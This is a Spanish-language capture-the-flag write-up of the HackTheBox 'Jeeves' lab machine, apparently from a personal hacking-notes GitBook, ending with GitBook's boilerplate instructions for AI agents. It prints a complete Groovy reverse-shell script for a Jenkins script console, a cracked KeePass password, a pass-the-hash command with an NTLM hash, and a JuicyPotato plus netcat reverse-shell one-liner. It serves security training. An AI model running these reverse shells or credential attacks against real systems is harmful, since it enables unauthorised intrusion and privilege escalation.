> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md). # Writeup de Jeeves en HackTheBox {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Explotación de Jenkins (consola de scripts Groovy) * Rompiendo KeePass * Pass-the-Hash (Psexec) * RottenPotato (SeImpersonatePrivilege) * Flujos de datos alternativos (ADS) {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Estableceremos nuestro espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento usando Nmap

**Comprobación de conectividad VPN** Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

**Descubrimiento de puertos abiertos con Nmap:** Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.63 -oG allPorts ```

**Análisis de puertos abiertos con extractPorts:** Usando la función extractPorts para mostrar de forma concisa los puertos abiertos y copiarlos al portapapeles (80.135.445.50000)

**Escaneo de versiones de puertos con Nmap:** Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted": ```bash nmap -sCV -p80,135,445,50000 10.10.10.63 -oN targeted ```

### Puerto 80 - HTTP

El puerto HTTP redirige constantemente a una `error.html` página. No se encontró otra información útil.

### Puerto 445 - SMB Intentamos listar los recursos compartidos SMB con `smbmap` y `smbclient`: ```bash smbmap -H 10.10.10.63 -u 'null' smbmap -H 10.10.10.63 ``` ```bash smbclient -L 10.10.10.63 -N ``` Sin embargo, la sesión falla con el siguiente error: ``` session setup failed: NT_STATUS_ACCESS_DENIED ``` Usamos `crackmapexec` para recopilar información de la máquina: ```bash crackmapexec smb 10.10.10.63 ``` Resultado: * **SO** : Windows 10 Pro 10586 x64 * **Nombre de la máquina**: JEEVES * **Dominio**: Jeeves

### **Puerto 50000 - Jenkins**

Lanzamos un escaneo de directorios con `gobuster` para explorar el contenido del servicio HTTP: ```bash gobuster dir -u http://10.10.10.63:50000/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 ``` Descubrimos el directorio **/askjeeves**

### CMS - Jenkins

**Jenkins - ejecución de scripts Groovy** El CMS Jenkins es accesible y la **Script Console** opción está habilitada, lo que nos permite ejecutar scripts Groovy.

Ejemplo de comando para probar la ejecución: ```groovy println "ipconfig".execute().text ```

### **Explotación** #### **Shell inversa mediante la consola de scripts Groovy** Para obtener acceso remoto, procedemos de la siguiente manera: 1. /*/* Escucha en nuestra máquina en el puerto 443/*/*: ```bash rlwrap nc -nvlp 443 ``` 2. /*/* Ejecuta el siguiente script en la consola Groovy/*/* para establecer una shell inversa: {% code overflow="wrap" %} ```groovy String host="10.10.14.9"; int port=443; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); ``` {% endcode %}

### Bandera user.txt :)

## **Escalada de privilegios** ## **Método 1: crackeo del archivo KeePass** En el **Documentos** directorio del usuario **Kosure**, encontramos un archivo con la **.kdbx** extensión (archivo KeePass).

/*/* Transferencia del archivo KeePass a nuestra máquina anfitriona/*/*/ Creamos un servidor SMB desde nuestra máquina Linux para transferir el archivo. Para ello usamos `smbserver.py`: ```bash smbserver.py share $(pwd) -smb2support ``` **Transferencia desde Windows**/ Desde la máquina Windows, copiamos el **CEH.kdbx** archivo a nuestra máquina anfitriona: ```powershell copy C:/Users/kohsuke/Documents/CEH.kdbx //10.10.14.9/share/ ```

### **Extracción del hash del archivo KDBX** Para extraer el hash del **KDBX** archivo, usamos la **keepass2john** herramienta, que forma parte de **John the Ripper**: ```bash keepass2john CEH.kdbx ```

### **Crackeo del hash** Usamos **John the Ripper** para realizar un ataque de fuerza bruta sobre el hash extraído, con la **lista de contraseñas rockyou.txt**: ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` La contraseña descubierta es: * `moonshine1`

### **Visualización del contenido de KeePass** Usamos **KeePassXC** para abrir y ver el contenido de **KeePass**

Después de introducir la **moonshine1** contraseña, accedemos a varias contraseñas, incluido un hash NTLM v2 para el usuario **Administrator**:

```bash aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 ``` #### /*/* Auditoría del hash NTLM v2 con CrackMapExec/*/* Comprobamos si el hash corresponde a una cuenta **Administrator** por **CrackMapExec**: ```bash crackmapexec smb 10.10.10.63 -u 'Administrator' -H 'aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00' ``` El hash es válido, y ahora podemos llevar a cabo un ataque **Pass-the-Hash**.

### **Pass-the-Hash - PsExec** Usamos **PsExec** para conectarnos a la máquina objetivo usando el NTLM v2 descubierto. Esto nos otorga privilegios administrativos ```bash psexec.py WORKGROUP/Administrator@10.10.10.63 -hashes :e0fb1fb85756c24235ff238cbe81fe00 ``` Ahora tenemos acceso completo como administrador.

## **Método 2: explotación del privilegio SeImpersonatePrivilege** Hemos descubierto que el usuario tiene el `SeImpersonatePrivilege` privilegio, lo que lo hace vulnerable a ciertas técnicas de elevación de privilegios. El siguiente comando confirma la presencia de este privilegio: ```bash whoami /priv ```

Para explotar esta vulnerabilidad, usaremos **JuicyPotato**, una herramienta muy conocida para abusar de este privilegio en el contexto de Windows. **Descargar las herramientas requeridas** {% embed url="" %} {% embed url="" %} **Iniciar un servidor SmbFolder** en nuestra máquina atacante para servir los archivos: ```bash smbserver.py share $(pwd) -smb2support ``` **Transferir archivos a la máquina objetivo** usando `Invoke-WebRequest`:

copy //10.10.14.9/share/JP.exe
copy //10.10.14.9/share/nc64.exe

**Ejecución de JuicyPotato para la elevación de privilegios** Ahora ejecutaremos JuicyPotato para obtener una sesión privilegiada. El siguiente comando lanza JuicyPotato, que ejecuta `cmd.exe` con altos privilegios e inicia una conexión a nuestra máquina atacante mediante Netcat: ```powershell ./JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c C:/Windows/Temp/privesc/nc64.exe -e cmd 10.10.14.9 1234" ``` **Iniciar sesión en la sesión elevada** Para interceptar la conexión, escuchamos en el puerto 1234: ```bash rlwrap nc -nvlp 1234 ```

## Bandera root - ADS > Los flujos de datos alternativos (ADS) son una característica de **NTFS** los sistemas de archivos en Windows que permite asociar múltiples flujos de datos con un solo archivo. Estos flujos adicionales pueden contener información oculta que no es visible durante la inspección tradicional del archivo. Usaremos esta característica para descubrir la **bandera root**.

#### **1. Comprobación de Alternate Data Streams (ADS)** Comenzamos comprobando si el **hm.txt** archivo ubicado en el escritorio del usuario **Administrator** contiene flujos de datos alternativos. Para ello, usamos el siguiente comando: ```bash dir /r C:/Users/Administrator/Desktop/hm.txt ``` Este comando enumera todos los flujos de datos alternativos asociados con **hm.txt** archivo. Si hay un flujo de datos alternativo presente, se mostrará.

#### **2. Visualización del contenido de un flujo de datos alternativo** Si encontramos un flujo de datos alternativo asociado con el archivo, podemos mostrar su contenido con el siguiente comando: ```powershell more < C:/Users/Administrator/Desktop/hm.txt:root.txt ``` Esto nos permite leer el contenido del **root.txt** flujo y recuperar la **bandera root :)**

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.